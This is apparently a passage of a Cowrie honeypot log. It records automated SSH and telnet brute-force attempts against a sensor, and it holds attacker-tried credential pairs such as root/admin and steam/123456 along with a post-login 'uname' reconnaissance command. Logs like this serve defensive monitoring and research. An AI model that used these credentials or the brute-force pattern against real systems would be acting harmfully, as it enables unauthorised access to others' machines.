{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:08.220229Z","src_ip":"176.65.132.129","session":"3d7613ef07e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:08.528894Z","src_ip":"176.65.132.129","session":"3d7613ef07e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:09.618545Z","src_ip":"176.65.132.129","session":"3d7613ef07e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46274,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b2fb0d7a037","protocol":"ssh","message":"New connection: 172.237.20.62:46274 (159.203.135.109:22) [session: 5b2fb0d7a037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:10.800318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:10.805202Z","src_ip":"172.237.20.62","session":"5b2fb0d7a037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:10.968558Z","src_ip":"172.237.20.62","session":"5b2fb0d7a037","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:11.457894Z","src_ip":"172.237.20.62","session":"5b2fb0d7a037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44570,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffcf426269c9","protocol":"ssh","message":"New connection: 176.65.132.129:44570 (159.203.135.109:22) [session: ffcf426269c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:11.483913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:11.488777Z","src_ip":"176.65.132.129","session":"ffcf426269c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:11.571929Z","src_ip":"176.65.132.129","session":"ffcf426269c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:11.818742Z","src_ip":"176.65.132.129","session":"ffcf426269c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:12.623542Z","src_ip":"172.237.20.62","session":"5b2fb0d7a037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:12.935241Z","src_ip":"176.65.132.129","session":"ffcf426269c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44594,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6a99deb8133","protocol":"ssh","message":"New connection: 176.65.132.129:44594 (159.203.135.109:22) [session: c6a99deb8133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:14.862944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:14.869389Z","src_ip":"176.65.132.129","session":"c6a99deb8133","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:14.952081Z","src_ip":"176.65.132.129","session":"c6a99deb8133","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:15.342829Z","src_ip":"176.65.132.129","session":"c6a99deb8133","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:15.617262Z","src_ip":"176.65.132.129","session":"c6a99deb8133","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:15.620997Z","src_ip":"176.65.132.129","session":"c6a99deb8133","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:15.707436Z","src_ip":"176.65.132.129","session":"c6a99deb8133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:15.713152Z","src_ip":"176.65.132.129","session":"c6a99deb8133","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45416,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fe832f43536","protocol":"ssh","message":"New connection: 176.65.132.129:45416 (159.203.135.109:22) [session: 0fe832f43536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:18.480784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:18.486688Z","src_ip":"176.65.132.129","session":"0fe832f43536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:18.569838Z","src_ip":"176.65.132.129","session":"0fe832f43536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pouria","password":"pouria","message":"login attempt [pouria/pouria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:18.819557Z","src_ip":"176.65.132.129","session":"0fe832f43536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:19.905874Z","src_ip":"176.65.132.129","session":"0fe832f43536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.7490291595459,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:20.243022Z","src_ip":"45.58.127.90","session":"b16480ee5928","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49336,"dst_ip":"10.17.0.5","dst_port":23,"session":"fffd8e426035","protocol":"telnet","message":"New connection: 45.58.127.90:49336 (10.17.0.5:23) [session: fffd8e426035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:20.492360Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":47720,"dst_ip":"159.203.135.109","dst_port":22,"session":"d87e37788423","protocol":"ssh","message":"New connection: 172.237.20.62:47720 (159.203.135.109:22) [session: d87e37788423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:21.550933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:21.555615Z","src_ip":"172.237.20.62","session":"d87e37788423","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:21.714915Z","src_ip":"172.237.20.62","session":"d87e37788423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45438,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f388b5166d2","protocol":"ssh","message":"New connection: 176.65.132.129:45438 (159.203.135.109:22) [session: 9f388b5166d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:21.844932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:21.850793Z","src_ip":"176.65.132.129","session":"9f388b5166d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:21.933212Z","src_ip":"176.65.132.129","session":"9f388b5166d2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:22.180403Z","src_ip":"176.65.132.129","session":"9f388b5166d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:22.220616Z","src_ip":"172.237.20.62","session":"d87e37788423","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:22.565006Z","src_ip":"176.65.132.129","session":"9f388b5166d2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:22.568533Z","src_ip":"176.65.132.129","session":"9f388b5166d2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:22.655302Z","src_ip":"176.65.132.129","session":"9f388b5166d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:22.660435Z","src_ip":"176.65.132.129","session":"9f388b5166d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:23.383331Z","src_ip":"172.237.20.62","session":"d87e37788423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45452,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5b7f02f5fcd","protocol":"ssh","message":"New connection: 176.65.132.129:45452 (159.203.135.109:22) [session: c5b7f02f5fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:25.322159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:25.326862Z","src_ip":"176.65.132.129","session":"c5b7f02f5fcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 